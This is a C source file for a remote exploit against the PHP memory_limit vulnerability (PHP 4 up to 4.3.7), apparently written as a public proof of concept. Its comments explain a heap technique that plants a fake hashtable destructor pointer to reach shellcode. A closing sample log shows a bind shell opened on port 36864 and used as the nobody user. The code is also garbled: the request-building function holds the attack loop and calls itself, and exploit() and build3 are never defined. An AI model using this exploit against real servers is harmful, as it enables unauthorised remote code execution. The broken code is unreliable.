/* Remote exploit for the php memory_limit vulnerability found by Stefan
* Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
*
* by Gyan Chawdhary (gunnu45@hotmail.com)
* (felinemenace.org/~gyan)
*
* Greets
* S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
* scrippie, gera, riq, jaguar, girish, n2n ...
*
* Vulnerability:
* The issue is well documented in the advisory.
*
* Exploitation:
* I cud not find a generic way to free a 40 byte chunk which could be later
* used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
* which will be sent in the first request. The second request will kick in the
* memory interuption after allocating space for the hashtable and before it is
* initalized. The memory it will use for this allocation will contain the data
* from our previous request which includes the pDestructor pointer pointing to
* our nop+shellcode which is a part of the second request. This happens in the
* zend_hash_destory function.
*
* PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
* for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
* Apache 2.0.49 with register_globals = On
*
* Gyan
*
*
*/
/*This function builds the main request. In destroy_uploaded_files_hash we
* need to pass zend_hash_apply to reach zend_hash_destroy.
* We set
* 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
* 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
* 3) ht->pDestructor = addr to nop+shellcode
* 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp
* 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi)
* 0x402c22c2 <zend_hash_destroy+190>: call *%eax
* 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp
*
* $eax = ht->pDestructor
*/
void build1(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
int pot = 0xffffffff;
int got = 0x41414141;
int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
int sot = 0x02020202;
int ret = 0x081887a8;
printf("Stage 1: Filling mem with bad pdestructor ... ");
for (i=0; i< 5; i++)
{
xp_connect(IP);
xp_write(request1);
build1(5000, 1);
xp_write(request2);
close(sock);
}
printf("DONE\r\n");
printf("Stage 2: Triggering memory_limit now ... ");
xp_connect(IP);
xp_write(request3);
build3(8192, 255);
build3(7265, 1);
xp_write(request4);
printf("DONE\r\n");
printf("Shell on port 36864\r\n");
}
main()
{
/*No args, no vectors*/
exploit();
}
/*
* Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
*trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
*
*
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/